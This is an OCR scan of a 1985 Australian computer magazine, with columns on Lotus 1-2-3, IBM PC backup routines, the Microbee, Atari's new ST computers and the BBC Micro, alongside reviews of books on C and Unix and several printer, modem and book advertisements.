a pity its price puts it out of the range of 

most people and organisations. 
It's interesting to see how Lotus has 

gone about producing the documentation 
for this version of 1-2-3. Most companies, 
when they adapt their program to another 
computer, merely use the same manual 
accompanied by a page or two of modifica- 
tions. Lotus has not taken this approach, 
producing instead an entirely new manual 
forthe 3270-PC and making all the changes 
to allow for its peculiarities. Some of the 
typefaces from the original 1-2-3 manual 
have also been changed to make it easier 
to read. This is a fine example of 
documentation; the only criticism | have is 
it does not appear to have been updated 
for the latest release of printer drivers. 

Sydney Users’ Group 

The last two meetings of the Sydney Users’ 
Group have focused on a comparison be- 
tween the Lotus packages and other inte- 
grated programs that have appeared on 
the market. The programs examined were 
Framework, the Smart series, Enable, 
Open Access and Jazz. Everybody will no 
doubt draw different conclusions from 
such a comparison, but | felt each program 
had its own strengths, namely: 
@ |-2-3. sets spreadsheet standard 
@ Symphony: comprehensive, but needs 

patience 

@ Framework: outlining 
™ Smart: ease of use 
™ Enable: word processing to rival dedi- 

cated WP 
™ Open Access: database 
@ Jazz: the Macintosh user interface. 

Another alternative, which the meetings 
did not discuss, is to abandon integrated 

LOTUS HOTLINE 
BY JOHN NICHOLLS 

packages and use state-of-the-art indi- 
vidual packages. Certainly there appears 
no way in which the market can support 
the number of integrated packages now on 
sale. 

More from the Users’ Group 
A feature of these meetings that has 
proved very popular is the Open Forum, at 
which members are invited to air their 
problems and ask for solutions. At the last 
meeting a number of problems were raised 
and for each one several solutions were 
proposed, some simple and some com- 
plex. The only difficulty about these ses- 
sions is some members are overawed by 
the expertise of others, and see their own 
problems as too elementary. Please don't 
let this deter you, because it’s quite ob- 
vious that none of us could claim to be 
fully proficient on every aspect of |-2-3 or 
Symphony. As an example of this, look at 
the next hint, which was unknown to half 
the Sydney committee. 

After you have defined a range, but be- 
fore you <enter> it, you can use the full- 
stop key to move the cursor around the 
four corners of the highlighted range, to 
see if the range includes all the desired 
information. This is especially useful with 
ranges that take up more than one screen 
of information. Each time you hit the full- 
stop key, the cursor in the highlighted area 
will move to another corner of the range 
without changing its size. 

In Symphony you can do the same thing 
by using TAB instead of the fullstop. 

Helpful Distributor 

We welcome Imagineering’s move to pro- 
vide more information about its products; 
all too often we send off our warranty cards 
which promise news of updates and so on 
and never hear from the manufacturer 
again. This column has an amicable rela- 
tionship with Imagineering, whose people 
are always ready to answer questions; 
however, | should stress this column is 
quite independent of them and | feel no 
responsibility to say only nice things about 
Lotus products! O 



Your micro and 
our printer- 
Brother, 

what a te am! 

BROTHER HR-35 
Over the last 20 years, Brother have come to be regarded as the 

experts on the typewritten word. 
So, whether you want daisy wheel quality or dot matrix speed, 

chances are Brother have a printer that’s compatible with both your 
computer and your needs. 

See your Brother dealer soon for a demonstration and you'll 
understand why Brother are now considered the experts on ” 
printed word. 

BROTHER HR-15XL BROTHER M 1009 BROTHER HR. 5 BROTHER 20241 

Make a good product and you make a good friend. 
Brother Industries ( Aust.) Pty. Ltd., 7-9 Khartoum Road, North Ryde NSW 2113. 

Sydney (02) 887 4344 Melbourne (03) 873 3655 Brisbane (07) 52 5257 Adelaide (08) 42 6373 Perth (09) 478 1955. 
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LIKE NO OTHER MODEM 
Tulpi™ is a state of the art microprocessor controlled, Intelligent Modem 

Tulpi incorporates all of the necessary features for users of videotex and standard databases. 

m@ Automatic dialling, pulse and tone. @ Exclusive Longline” circuitry maximizes Hi 8K PROM and 16K RAM (optional) for 
w@ Self contained communications the integrity of data in country areas where industrial process control and surveillance 
firmware. Integrated command structure the Telecom lines are long and often noisy. programming. Perfect for remote non 
allows the user to set mode, baud rate and This also improves noisy city exchanges too. keyboard devices. 

data format. Line side and user side @ V21 and V23 modes 1 and 2 connection jy 8085 processor. 
configurations may be independent optimised to Australian Telecom's protocol. Partrrtherintormation-and the manic of 
™ Automatic answering featuring our Also Bell 202. Soe maar act aalan Contact 
exclusive ‘Sleep Answer’ mode. @ No Switches. All of Tulpi’s commands y 

: : : Telecorp Pty Ltd. 
@ Universal speed up buffering and bit are accessable from the terminal devices 8/21 Tepko Road, 
rate conversion which allows CPU to keyboard or host computer. PO Box 236. Terrev Hills 
function at high baud rates. Tulpi manages m@ Automatic powerup default = eG NSW 2084 he 

the split baud rates and buffering. configuration for virtually unlimited system . (02) 4502522. 
This enables all PCs and ‘Dumb Terminals’ to flexibility in private line, exchange line or Dealer and OEM. 
access Viatel without the need for bit rate direct wired environments. enquiries welcome. 
convertors. 

Telecorp P/L 1985 YC/7/85 

WHAT? ANOTHER BOOK 
ON PERSONAL COMPUTERS? 

Behind the myths and jargon 
Data processing made simple 
Software and hardware explained 
How to care for and keep your 
personal computer 

+ + + 

You won't need a degree in mathematics or any previous knowledge on 
electronics or computers to understand ALMOST EVERYBODY’S PERSONAL 
COMPUTER BOOK. It will not make you an instant expert on every aspect of 
personal computers, but it will give you a good basic understanding of what 
they’re all about. 

(] Please send me .............. copies of “ALMOST EVERYBODY’S PERSONAL COMPUTER BOOK” for just $9.95 : 

OIG i icc POS 8 a = 

Dp ee TC a es ae POGIGICG..iciccus.. POONE.. : 

C1 Cheque*/Money Order* enclosed for $9.95, or bill my 1) Bankcard 0 American Express Card 0 Mastercard E 

Card No. = 
Gl em i hee eee entile ke ee 

(UNSIGNED ORDERS CANNOT BE ACCEPTED) 

Detach this coupon and mail it in an envelope to: FREEPOST No. 4, THE FEDERAL PUBLISHING CO. P/L, P.O. Box 227, WATERLOO 2017. 
(No postage stamp required if posted in Australia.) *Make cheques /money orders payable to THE FEDERAL PUBLISHING CO. P/L. 
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BY JOHN HEPWORTH 

Heard Any AT Rumours Today? 
When | ask around about possible release 
dates I'm told it could be any day from now 
to Christmas. If this keeps up I might have 
to start a sweep and make my fortune. The 
AT could even be beaten onto the Austra- 
lian market by a Kaypro! Kaypro has 
announced an AT compatible in the United 
States, which could foreseeably be re- 
leased here before tle real AT. 
Some retailers who do their own import- 

ing have a sample IBM PC-AT or two on 
show, but not for sale — and they're talk- 
ing prices in the $12,000 to $15,000 brack- 
et. The fluctuations of the Australian dollar 
can be expected to affect these figures. 

When the AT was first released in the 
United States there were apparently some 
supply difficulties with the internal 20 
Mbyte hard disk, and some reports of hard 
disk malfunctions. It seems these prob- 
lems have been overcome and that re- 
liability is up to IBM's usual standard. 

Hard Disk Backup 

Backed up your hard disk today? In the last 
day or two? In the last week? Never? 

Boy, you really like to live dangerously. 
You must be one of the last of the brave — 
you know — the type who thinks that ‘Real 
Men Don't Back Up Their Hard Disk’. Mur- 
phy’'s law will surely strike you down if you 
don’t watch out. Without that data you 
have carefully put on the hard disk, would 
you, Or your customers, Survive? 

Three things you should consider are: 
® Hardware failure — partial or total. 
® Accidental erasure of important files. 
@ Fire, flood, theft and other external cala- 

mities. 

I'd like to suggest a backup routine that 
works, and works well, for a number of the 
bigger users of hard disks. It uses six back- 
up tapes in a cycle over nine days: 

1. Take six tapes, and select three sepa- 
rate locations for them. 

2. On day one make two full backups of 
your hard disk to different tapes. Put them 
in location A. 

3. On day four make two more backups. 
Put them in location B. 

4. On day seven make two more and put 
them in location C. 

5. Day 10 is the first day of the cycle. Take 
‘he tapes from location A and re-use them. 
Now every three days move around the 
cycle one step, re-using tapes last made 
nine days ago. Keep a log of which tape 
was used on which day, and be completely 

religious about observing the routine. 

Don’t keep more than one pair of tapes 
in the same building as the computer. If 
you have more than one building on the 
site, and they are far enough apart for fire 
to be unable to burn both in the same 
incident, then keep pairs of tapes in the 
different buildings. If you are in a flood or 
bushfire area, or have only one building, 
then keep the second or third pairs else- 
where, possibly in different private homes. 

I'm not paranoid, but a simple ERASE 
** in the wrong subdirectory could des- 
troy a 2 Mbyte database. It could take 
months to manually relocate and re-enter 
the data. Few businesses could survive 
that, once converted to relying on the com- 
puter. 

Oh, yes, why two tapes each day? To 
guard against a defective tape of course — 
Murphy's Law (well known to all program- 
mers and engineers) states, “Anything that 
can go wrong will go wrong”. It’s your job to 
lock Murphy out of your system. 

Floppy Backup 
If you don’t have a tape, backing up to 
floppies is a real pain, but one you must 
endure on an organised and regular basis. 
Here, a backup once a week is probably all 
any busy person could manage — and 
even then the files to be backed up will 
probably need to be carefully selected. 
Briefly, my approach is: 

|. Where possible keep programs on 
hard disk, data on floppies. 

2. Mark files which are not regularly 
changed as read only, using the Norton 
Utilities, or the Attrib command from DOS 
3.xx, orthe Public Domain program ALTER 

3. Programs kept on hard disk should 
have originals, and backups, on floppy. 

4. Data which must be kept on hard disk 
(such as database or worksheet files too 

big or too slow for floppies) should be kept 
inaminimum number of subdirectories, to 

ease the pain of selective backups. 

5, Use three sets of backups (this week, 
last week, the week before), kept in physi- 
cally separate buildings. 

A Tape For Each PC? 
IBM seems bent on discouraging backing 
up by releasing both the XT and AT without 
a tape backup unit. Many external hard 
disks also don't have a tape backup built 
in. Should you buy an external tape unit for 
each and every machine? 

A solution to this dilemma may be on 
the way. In the United States Maynard has 
released a portable tape backup unit, com- 
patible (they say) with IBM, NCR and Com- 

Your IBM 

Backed up your hard disk 
today? In the last day or 
two? Never? Boy, you 

really live dangerously. 

paq. Just how good it is is yet to be proven, 
but in principle having one unit for all 
these machines may make it economical 
enough for everyone to add backup to their 
existing PCs. 

The 8-Slot PC 
Run out of expansion slots yet? | have, 
without having a particularly well equip- 
ped machine, because | have the normal 
PC with a motherboard on which there are 
only five expansion slots. With a floppy 
controller, hard disk controller, serial port, 
memory expansion card and Hercules 
mono graphics video card it is full. My sys- 
tem grew one board at a time, and | could 
possibly save one slot with a different con- 
figuration if | were starting again today. 

The XT and PC portable have a different 
motherboard, with eight expansion slots. 
Now IBM has announced the PC-XT mod- 
cls 068 and 078 in the United States. These 
have eight slots, 256 Kbytes of RAM and no 
hard disk. The 068 has one full-height flop- 
py, the 078 two floppies. Hard disks can be 
added internally later, but in the case of 
the 078 on floppy has to be removed. 

Will the five-slot PC be scrapped. Will 
Australia get the eight-slot unit? What's 
your guess? IBM is keeping very quiet ab- 
out it, as usual. 

Another rumour from the United States 
is that IBM may have bought 5 million9 cm 
floppy disks, as used in the Apple Macin- 
tosh, and the suggestion is the company 
may soon release the next PC, and/or a 
lapheld computer, equipped with 9 cm 
drives. Gossip may not be the force that 
makes the world go round, but it sure 
makes life interesting. O 

A Gremlin 

The sub-editor bug got into last 
month's IBM column, suggesting (de- 
claring?) that the famed Norton Utili- 
ties are public domain software. The 
creature has since recanted. The Nor- 
ton Utilities not only cost money, but 
are worth every cent. 
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BY COLIN TRINGHAM 

SHORTLY after my first column went to 
press | received a box of correspondence 
and other goodies from Mike Newnham. 
It’s taken quite a while to go through it all, 
and | have no idea which letters Mike had 

already answered. I've sent replies to all 
those who had stamped self-addressed 
envelopes still attached to their letters, 
but please note there’s only me writing 
this column, not a staff of hundreds, and it 
would be simply impossible for me to reply 
to all letters! | do appreciate comments 
(especially helpful ones), however, and if 
several readers write to me with the same 
problem I'll try and address it in the col- 
umn. So by all means write to me about 
anything that would be of interest to the 
column, but don’t be upset if | don’t man- 
age to write you an individual reply. 

One obvious point that comes out of 
‘reading all those letters is that most of the 
people in trouble could be helped im- 
mediately if they attended any of the many 
Microbee User Groups’ meetings. Most 

groups hold a question and answer ses- 
sion, which is an excellent place to get 
help. If you can't attend a meeting, the 
nearest group will still be able to help you 
through its newsletter. The editors of the 
largest groups swap newsletters between 
themselves and often print selected arti- 
cles from other groups — there is no point 
in each group reinventing the wheel. Not 
all groups will respond to personal letters 
(probably for the same reasons as | can’t), 
although | have written to most groups and 
received prompt replies. 

Just a few more points on letter writing: 

many of the letters in Mike's file were un- 
dated, so I can’t put them into any sort of 
order, and one or two were quite illegible. 
Since magazines receive an inordinate 

amount of mail every day, please ensure 
you put your name — and preferably your 
address too — on the top of every page: | 
have several loose pages | can't account 
for. And as with any letter, a personal sign- 
ature at the bottom is much more likely to 
vet you a sympathetic hearing than a sim- 
ple typewritten name; a little courtesy nev- 
er hurt, after all. 

Incidentally, it's not much good writing 
to me with questions for Applied Technol- 
opy --- they don't reply to most of my let- 
ters cither! have no ties with the company 
except that I’m enthusiastic about the Mic- 
tobee, having owned one since the very 
fist kits were released. 
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Connecting Printers 
Several readers enquired about connect- 
ing specific printers — notably ones from 
the Tandy range — to the Microbee. One 
writer was incensed AT would not do this 
work for him and provide a special cable to 
suit. | don’t know how many hours such a 
project would take, but it would be at least 
a day's work for someone to sort out the 
connections and make up the cable — and 
then they'd have to buy an identical printer 
to check everything out. So don’t blame AT 
if you buy an orphan printer or modem, it’s 
just not practical for the company to work 
out the connections for every piece of 
equipment. 

Several letters asked how to make a 
BASIC program load as if it were a machine 
language program and autostart. If you 
have any sort of monitor in your Microbee 

this is quite easy to do, using these steps: 

1. Save the program to tape in the usual 
way. 
2. Jump into monitor and load the tape 
using the R command. 
3. While the program is loading look at the 
figures on the right-hand side of the 
screen. The middle set of numbers is the 
length of the program in hex. 
4. Since BASIC programs always start at 
O8COH, we can add this to the start 

address and the length of the program to 
obtain the end address of the program. 
5. Save the program to tape as a pseudo 
machine language program, like this: D 
“NAME” M 08CO (calculated end address) 

801E. This will save the program at 1200 
baud. If you have trouble at this speed 
change the D to W to save at 300 baud. 
When the program is loaded using 

BASIC’s LOAD command, it will autostart. 

Accessing the Alternative 
Character Set 

Another common request was for details 
of the alternative character set and how to 
access it. This is provided in the Character 
Generator ROM on all machines from the 
IC model onwards, and is used when you 
go into the 80 by 24 mode. In this format 
there are only 11 scan lines per character, 
and if you used the normal 16-line set you 
would lose the bottom of the characters. 

The enable line for this second 2 Kbytes 
of character ROM is wired to pin 17 of the 
6545 IC, and this latter pin is normally 
unused in the Microbee (it is provided to 
set up the addresses the 6545 chip can use 

Your MICROBEE 

within its 16 Kbyte boundary of memory). 
To see the second set, type, in the im- 

mediate mode: IN#0 OFF: OUT 12, 12:OUT 
|3,32:IN#0 ON. When you press the return 
key all characters will change to reduced- 
height characters. To go back to a normal 
character set, retype the line given above 
and change the 32 to 0. For more informa- 
tion on this subject see the very compre- 
hensive article in the Canberra Group's 
Newsletter Number 4 (which was later re- 

printed by the Sydney Microbee Users’ 
Group in its newsletters for April, June and 
July, 1984), and Online numbers 4 and 5. 

Common Complaint 

The most common complaint in all the 
letters was about the BASIC manual sup- 
plied with the Microbee. After using this 
for three years | can say that as a reference 
manual it is quite good, but for beginners 
there are not enough examples of how the 
various commands are used in practical 
programs. For this you will need to look at 
a book such as Your first 100 programs. 

A better way still is to have a look at 
someone else’s program running on the 
Microbee so you can see exactly how a 
working program operates. Once again, 

you can usually borrow or buy working, 
unprotected programs from your local user 
groups. Anyone working on BASIC prog- 
rams with a lot of strings will get the help 
they need from Dreamcards’ ‘Psychotech’ 
program. The excellent manual which 
comes with this inexpensive program con- 

tains a large amount of helpful informa- 
tion on string handling in Microworld 
BASIC. 

Finally, a plea for assistance. In the past 
three years a great many software com- 
panies have sprung up and then just as 
promptly disappeared. Many of these com- 
panies had some good programs. Unfortu- 
nately it’s no longer possible to buy any of 
the better packages; can anyone tell me 
where these programs and their program- 
mers are now? It should surely be possible 
for one company to handle any of these 
programs which are still around. So many 
Microbees are sold nowadays there must 
be a good market for this software. Prog- 
rams which especially come to mind are 
‘Robot-Fire’, ‘Printer’s Mate’, ‘Euchre’, 
‘Penetrator’ and ‘Poker Machine’ (colour 
version). There were also plenty of utility 
programs around, which have now dis- 
appeared without a trace. O 



C: A Reference Manual 
Samuel Harbison and Guy Steele Jr 
Published by Prentice-Hall, rrp $31.50 

This is a rare example of a book which is 
true to its title and deserves commenda- 
tion for this fact alone. 

The authors’ main purpose in writing 
this volume was to provide a concise and 
comprehensive reference for a team of 
compiler writers producing C language im- 
plementations on a number of CPUs and 
operating systems. Rather than doing this 
in the terse manner often demonstrated by 
people writing in or about the Unix com- 
munity, they have enhanced the document 
with clear examples and diagrams illus- 
trating the more readily misunderstood 
concepts. 

An additional strength is that existing 
differences in common implementations 
are pointed out and methods of streng- 
thening portability are shown. 

Newcomers to the C language will find 
the chapter on the run-time library particu- 
larly valuable, as it includes descriptions 
of functions in the clearest language I have 
ever seen. The printf and scanf functions 
are dealt with at great length (12 and eight 
pages respectively) and in a manner which 
should demystify these complex but com- 
monly used routines. 

Rather than write pages about the 
merits of this book, I'd simply encourage 
anyone interested in C to go out and buy it: 
| can find no fault with this work. At a time 
when many would-be authors are rushing 
into print to cash in on the computer craze 
and producing some terrible drivel for the 
confused beginner, it was really refreshing 
to receive this reference manual. 

Introduction to C 
Paul M Chirlian 
Published by Matrix Publishers Inc. Re- 
view copy from ANZ; rrp $32.95 

This is a fairly lightweight text, and the 
author's style suggests his academic train- 
ing was in something other than program- 
ming in C. This is not to say good introduc- 
tory texts can't be written by such people 
(in fact neophytes are sometimes best at 
documenting early difficulties), but it often 
leads to a situation where the subject mat- 

ter is padded out and some rather obvious 
mistakes and omissions creep in — which 
doesn't inspire great confidence in the rest 
of the text. 

This book suffers mainly from the au- 
thors confusion about the meaning of 
structured programming (most notable in 

BOOKS ON C AND UNIX 

In line with our emphasis 
on Unix this month, we 
asked Rod Whitworth, an 
experienced systems-level 

C programmer and 
long-time Unix user, to 

review a selection of books 
on the subject. 

the section on top-down design), and ab- 
out the difference between the language 
and the run-time environment. 

As some of the exercises have no abso- 
lutely right answer, it would be interesting 
to see the author's solutions, some of 
which are promised in a companion in- 
structor’s manual. As an example, we are 
told in Chapter | that: “Often, only the first 
eight characters of a name are significant.” 

This is true, but the key word is ‘often’, so 
how does a beginner handle the exercise 
question: “How will the C compiler react to 
the following two names: answers-good 
answers-bad?" 
What this book needs is critical editing, 

removal of irrelevant material, and a re- 
duction in price. 

Unix Programmer's Manual 
Bell Laboratories 
Published by Holt, Rinehart and Win- 
ston. Review copy from Holt-Saunders, 
rrp $119.90 (for both volumes). 

The ‘phone books’ of Unix: the total size of 
this two-volume set is little smaller than 
the 1985 Sydney Yellow Pages, so the nick- 
name is apt. 

The material in this manual is a little 
dated, as it refers to seventh-edition Unix 
and we have passed through System III and 
System V to System V release 2 since then. 

However, until an update is produced 
potential gurus will need this reference 
work. | 

Volume | contains descriptions of com- 
mands, system calls, subroutines, special 
files (usually devices), file formats and 
conventions, games, macro packages and 
language conventions, maintenance, anda 
quick-reference guide. 

Volume 2 is a collection of tutorials and 
papers from such sources as the Bell Labor- 
atories’ Technical Journal. 

The first volume is written in the 
aforementioned terse style, which the 
would-be guru unfortunately needs to 
understand and which he or she will also 
probably slavishly copy if producing their 
own documentation. 

The price is a little on the high side, 
which reflects, | suppose, the necessity of 
having these two weighty tomes if you are 
seriously contemplating becoming an ex- 
pert maintainer or administrator of a Unix 
system. 

Real World Unix 
John Halamka 
Published by Sybex. Review copy from 
ANZ, rrp $32.95. 

Subtitled ‘Managing a Business with the 
Unix Operating System’, the back cover of 
this book promises we will find “specific 
instructions on using the Unix command 
structure for database management, word 
processing, electronic mail and more.” 

Well, there is slightly over a page of 
Sparse text roughly paraphrasing the offi- 
cial documentation on the ‘mail’ com- 
mand, but the index doesn't even list word 
processing, although there is a review of 
Fortune:Word, and database management 
is covered by a review of Apgen. No ‘speci- 
fic instructions” are given in either case. 

| wish authors of software texts would 
eliminate discussions of hardware, parti- 
cularly when they don’t know what they're 
talking about. That Halamka doesn't is evi- 
denced by his statement: “Static RAM is so 
called because its contents are undis- 
turbed when power fails.” 

Inaccuracies of greater moment con- 
tinue the trend. Some are simply factual 
errors which will not cause much damage 
(except to the author's reputation) in the 

business environment which the book 
claims to address. Instances include the 
rather weird statement that the only shell 
versions in use are ‘Version 6, Version 7 or 

the Bourne shell, and System V, an ex- 
tended shell developed by the University 
of California at Berkeley” 

More hazardous is the notion that re- 
moving write protection from a file will 
prevent its erasure. For the novice it is 
essential to learn early that erasing a file 
only requires write permission in the 

DIRECTORY containing the file. 
The rest of the first half of the book just 

paraphrases most of the commonly used 
Unix commands and is hardly a tutorial. 

The second half of the book consists of a 
review of four microcomputers and four > 
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BOOKS ON C AND UNIX 

pieeess Of software — an accounting sys- 

tem... word processor, a spreadsheet anda 
database/application generator. Following 
those is a chapter purporting to describe 
the ‘tuture of Unix’, a limited glossary, a list 
of names and addresses of manufacturers 
anda reference guide to commands. 

The reference information would be bet- 
ter on a pocket card, the reviews date 
quickly, and the crystal ball chapter in- 
cludes strange ideas about how networks 
function and has a totally misleading (read 
‘wrong’) diagram purporting to bea typical 
Ethernet. 

The book is beautifully produced in very 
readable type. It’s a pity the contents don't 
live up to the promise. 

Understanding C 
Bruce H Hunter 

Published by Sybex. Review copy from 
ANZ, trp $39.95. 
Another well-produced book from Sybex, 
but this ore has more thiun just the gloss. 

Hunter is not only a skilled programmer 
in the Unix system but has obviously used 
C in common microcomputer environ- 

PUBLISHERS AND DISTRIBUTORS 

Prentice-Hall 

7 Grosvenor Place, Brookvale 2100; 
(02) 939 1333. 

ANZ Book Company 
10 Aquatic Drive, Frenchs Forest 
2086; (02) 452 4411. 

Holt-Saunders 

9 Waltham Street, Artarmon 2064; 
(02) 439 3633. 

ments like CP/M, CP/M86 and MS-DOS. As 
a result he Jeaves none of his target audi- 
ence of beginning and intermediate-level 
C programmers without usable examples. 

Anovel approach to introducing the lan- 
guage to beginners is the use of what the 
author calls ‘a spiral approach to teaching’. 
This means that instead of the usual 
layered structure of of learning, say, a thor- 
ough coverage of data types and then 
pointers in detail and so on, Hunter pre- 
sents a simple set of items in small illus- 
trative programs and fragments, increas- 
ing the complexity of examples as progress 
is made. Of course, not all the language is 

touched on in the first chapter, but the 
beginner will feel capable of writing some 
simple code before completing the second 
chapter. 

Like the Harbison and Steele book 
above, this volume doesn’t need lots of 
words to review it — only the more dis- 
appointing books really need a long list of 
bad points to highlight their deficiencies. 

Particularly valuable in Hunter's text are 
the appendices covering compiler com- 
parisons and listing the library functions of 
12 of them. 

Two demerit points: Not long after the 
publication of the ‘Bible’ of C, The C Prog- 
ramming Language (K&R) in 1978, Bell Labs 
published a one-page paper, ‘Recent 
Changes to C’, by Dennis Ritchie. This had 
two extensions to the language: structure 
assignment and the enumeration type. 

Many compilers and books on C ignore 
these because they do not appear in 
appendix A of K&R, and Hunter's book is 
also guilty in this respect. Seven years after 
the inclusion in the Unix V7 compiler is a 
long time to wait for some people to catch 
up. LJ 

0000000 CCCCC8 

An easy-to-understand introduction to the mysteries of 
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programming in Z-80 assembly language, written 
specially for owners of the extremely popular 

Australian-designed Microbee computer. 

ASSEMBLY LANGUAGE 
PROGRAMMING FOR THE 

MICROBEE by Lewis Badham 

BASIC and other high-level languages are 
ideal for learning the essentials of 
programming, but sooner or later you 
become aware of their limitations in terms of 
speed and flexibility. The ideal ‘next step’ is 
to progress to assembly language, which 
allows you to manipulate the computer’s own 
nitty-gritty instruction set. Trouble is, 
assembly language can be very hard to break 
Into, without some help. 

This book will provide you with that help. 
Written by an experienced Microbee 
programmer, it starts right from the 

beginning and guides you step- by-step. 
the end of the book you'll be able to write 

mathematical programs, games programs 
with moving graphics and sound effects, and 
also be able to write things hke “driver” 
routines to match your computer to a 
different printer. 

Not only that, but you'll also have a much 
better understanding of how your computer 
works, and be in an ideal position to read 
more advanced texts. Assembly language will 
be no longer a foreign language ! 

At your newsagent for only $9.95! 
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BY ERNIE SUGRUE 

WELCOME AGAIN to the column, after my 
short break. This month I've got informa- 
tion on the new range of Atari products, 
announced at the Winter Consumer Elec- 
tronics Show earlier this year. 

New From Infocom 

The newest releases from Infocom are as 
impressive as the company’s previous 
programs, which include the famous (in- 
famous) Zork trilogy, Deadline and En- 
chanter 

Douglas Adams’ book Hitchhiker's Guide to 
the Galaxy was made into a television prog- 
ram, and has now been released in compu- 
ter adventure form. It begins in the same 
manner as the book, but Infocom warns it 
is very different, and not to rely on the story 
of the book too much. | haven't nearly 
completed it as yet, but I can tell you that 
in the first few screens you will find pati- 
ence is indeed a virtue, and drinking too 
much is definitely dangerous to your 
health. 

Also released was Suspect — in the 
same vein as Deadline and Witness before 
it. You are the newspaper reporter, and 
have been invited to the social event of the 
season — the gala Halloween ball of Mr 
and Mrs Michael Wellman. A murder is 
committed at the party, and although you 
know you didn’t do it, they have proof to 
show you were the killer. 

The evidence is stacked against you You 
are forced to prove your own innocence 
and someone else’s guilt. But who wants 
to help an outsider like you? 

You'll find Infocom’s new packaging a 
great idea: it allows you to keep all the 
paraphernalia in the hollow of the box, and 
easily read the manual attached to the 
front cover. 

Both of these are great adventures, but 
try Deadline or Witness before Suspect. 

Atari — The New Breed 

In January this year, Atari stunned the com- 
nuter industry with its new range of com- 
puters and peripherals, introduced at the 
Winter Consumer Electronics Show in Las 
Vegas. Atari’s new boss, Jack Tramiel, origi- 
nally from Commodore, proved his new 
motto, ‘Power Without The Price’, was 
eoing to be evident in the company’s pro- 
ducts. 

Six new computers and a dozen 
pertpherals were announced, of which four 
of the new computers are said to be fully 
compatible with the existing models 
(heard that before somewhere?). The other 
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products. 

two are in the 16/32-bit league with an 
operating system resembling that of Ap- 
ple’s Macintosh. 

The ST series, the more powerful mod- 
els, drew a great deal of interest. The brains 
of the series is a Motorola 68000 micro- 
processor — the same as in the Macintosh. 
Clocked at 8 MHz, it runs nearly twice as 
fast as the 8/16-bit chip that drives the IBM 
PC. 

Called the 130ST and the 520ST, the two 
systems are compatible with each other 
and most features are identical: a 192 
Kbyte ROM expandable to 320 Kbytes; 512 
colours; exceptional graphics of 320 by 200 
pixels for 16 colours and 640 by 200 in four 
colours; a Centronics standard interface: 
an RS232 standard interface; floppy and 
hard disk interfaces; a musical instrument 
interface for hooking up external synthe- 
sisers; two joystick ports — one doubles 
forthe mouse; a television output; compo- 

site colour video output; monochrome 
video output; a three-voice synthesiser 
with variable waveforms and envelopes: 
and a 94-key typewriter-style keyboard 
with separate numeric keypad and 10 spe- 
cial function keys. 

The operating system is called ‘TOS’, 
after Tramiel, and a Graphics Environment 

Your ATARI 

Manager is also included with each 
machine. Licensed from Digital Research, 
this last allows almost unbelievable 
graphics capabilities. 

The only real differences between the 
130ST and 520ST are the amount of RAM 
and, hence, the price. The 130ST has 128 
Kbytes of RAM and costs $399: the 520ST 
has 512 Kbytes of RAM and is a little more 
expensive at $599. 

If you like those prices, then the 
peripherals should really knock you silly. 
First, a microfloppy disk drive for the ST 
series retails for under $150. The single- 
sided version stores about 250 Kbytes per 
disk, the double-sided stores 500 Kbytes. 
There’s also a hard disk drive for the ST 
series and other computers: the unit has a 
9 cm, non-removable, 15 Mbyte hard disk 
and costs $399. 

The hard disk coupled with a computer 
from the ST range gives unheard-of power 
in an affordable package. The hard disk 
interface transfers information at a stag- 

gering 1.33 Mbytes per second. That's ab- 
out 100 times as fast as a Macintosh, and 
could theoretically fill the 520’s full 512 
Kbyte RAM in half a second flat. Or 
perhaps even more interesting is that now 

you can page-flip graphics and so on from 
disk instead of memory. 

The above statistics are staggering, and 
although the prices are approximate, and 
apply in the United States only, they show 
very good value for money. Many have sug- 
gested such achievements would have 
been impossible without the direction of 
anyone but Jack Tramiel, the whiz who 
reshaped Commodore into the force it is 
today. 

Next month, I'll give you some info on 
the new peripherals, and the other four 
computers destined to replace the 800XL 
and 600XL, which have already replaced 
the 400 and 800 (mine still goes okay!). Just 

one little detail about next month's 
goodies: the 65XE, which may (or may not, 
depending on who you listen to) replace 
the 800XL with almost identical features, 
will retail in the United States for about 
$99. Having heard of the antics of discount 
shops in America, I think the price may go 
quite a deal lower than that. You can pic- 
ture the advertisement, can't you: ‘Buy 10 
programs from us — get the computer 
free’. It might sound way out, but with 
prices like these ... 

If you wish tocomment, complain or just 
write — please feel free. My address is PO 
Box 594, Maryborough 4650. O 



BY BRUCE MITCHELL 

Misprunts 
All that dust in the old Your Computer office 
must be to blame for the loss of some 
symbols in the January column's printer 
routine. You should alter the following 
lines: 

1040 a=ADVAL(-4) 

10680 IF ADVAL(-4)<a 

THEN =FALSE 

ELSE =TRUE 

UNITL FNprinter 

=TRUE 

Two lines in the EVAL routine also suf- 

fered: 

20 one=1:two=Z 

>three=3 

60 IF EVAL (number) 

=N THEN PRINT 

*Correct.”?’ 

ELSE PRINT 

a ont — emia 

Ozmon 

It seemed like a good idea at the time, but 
the Beeb’s designers were never more 

wrong than in assuming four ROM sockets 
would be enough. With ads for expansion 
boards now providing a major source of 
income to English computer magazines, 
and ads for ROM-based software filling all 
the remaining pages, one can only con- 

clude that most Beeb owners have some- 
thing against software that doesn’t leave 
you scarred for life when you sit on it. 

I've been interested in ROMs since the 
Great Disk Disaster of 1984 (2.34 am, May 
14: it was when my utility disk was format- 
ted during an overdose of mental disorga- 
nisation). Last month | joined the crowd 
and bought Beebugsoft’s Sleuth (of which | 
shall tell you more next time), and will 
soon be adding what may be the first BBC 
utility ROM designed and produced in Au- 
‘tralia, Ozmon, to my stash. First, though, 
!Il have to get a ROM expansion board, 
having run out of sockets. It did seem like a 
good idea at the time ... 

Ozmon is not for 110 pound weaklings 
who get silicon kicked in their faces every 
time they try to enter something starting 
with *. It is an editor/assembler with a host 
of linked features that can help make 
assembler programming less like keeping 
track of the plot of a TV soapie. What you 
don’t get are pretty menus and expensive 
(but useless) packaging. The design of the 
user interface correctly assumes that if you 
are using Ozmon, such frills would be an 
insult to your experience as a programmer. 

Instead, there are well-designed, clever- 
ly interlocked routines that make all kinds 
of complexities possible. 

Apart from an excellent single-pass 
assembler (up to 70 labels allowed), a dis- 
assembler and screen editor, there are 
memory routines to dump in a variety of 
formats, to move blocks, to fill, compare 
and search. Machine code routines can be 
executed at full speed or in single steps 
(with all registers displayed) and arithme- 
tic can be carried out in any mixture of 
decimal, hex and binary. None of the mem- 
ory used by BASIC programs is claimed for 
workspace. 

Not the least powerful facility of this 
ROM is its ability to peer into its neigh- 
bours’ innards. By entering ‘R12’ (12 for 
View's ROM socket number), and with the 
help of the S(earch) and L (disassembler) 
commands, | was at last able to find out 
why the DAYTONA command in View gives 
such an intriguing response. Using its abil- 
